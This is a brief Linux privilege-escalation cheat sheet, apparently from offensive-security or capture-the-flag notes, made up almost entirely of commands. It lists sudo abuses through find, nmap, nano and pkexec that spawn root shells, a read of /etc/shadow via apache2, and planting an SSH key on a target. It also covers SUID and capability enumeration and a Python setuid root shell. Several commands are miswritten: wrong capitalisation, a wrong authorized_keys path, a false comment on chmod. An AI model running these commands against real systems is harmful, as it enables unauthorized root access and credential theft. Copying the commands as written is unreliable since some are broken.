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# CHEAT SHEET

## **PRIVILAGE ESCALATION CHEAT SHEET**

Privilege escalation is step to gain illicit access of elevated right, or privilege beyond entitled for user. This attack perform to gain unauthorized access to system (root). It exploit human behavior, design flaws or oversight of Operating System. It also known as lateral movement in attack chain.

### **Cheat Sheat**

### Sudo - l

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`sudo find /bin -name nano -exec /bin/sh \;`

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`sudo find /bin -name nano -exec /bin/sh \;`

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`echo "os.execute('/bin/sh')" > shell.nse && sudo nmap --script=shell.nse`

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sudo apache2 -f /etc/shadow

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`sudo su root  or`` `**`/bin/bash -p`**

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**`NANO>>CTRL+R >> CTRL+X >>reset; sh 1>&0 2>&0`**

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```
Sudo pkexec /bin/sh
(ALL:!root) /bin/bash
Sudo -u #-1 /bin/bash
Apache2 find in sudo -l
Sudo apache2 -f /etc/shadow
```

## **Docker**

![](/files/inGnekTXJCEJFkomltCe)

## **www-data / no sudo (stable connection)**

**python -c 'import pty; pty.spawn("/bin/bash")'**

## **Find specific file**

`Find / -name *.txt 2>/dev/null`

## **Generate SSH key.**

```
Our machine –$ ssh-keygen -f mykey
Target machine –$ echo “<mykey.pub>” > /.ssh/authorized_key
Chmod 600 mykey – change permission to public
Ssh -I mykey <targgetusername>@remoteIP
```

## **SUID**

```
Find / -perm -u=s -type f 2>/dev/null
Getcap -r / 2>/dev/null
```

`For getcap vuln -`&#x20;

`/usr/bin/python2.6 -c ‘import os;os.setuid(0);os.system(“/bin/bash”)’`

## **Cronjab tab**

`Cat /etc/crontab`


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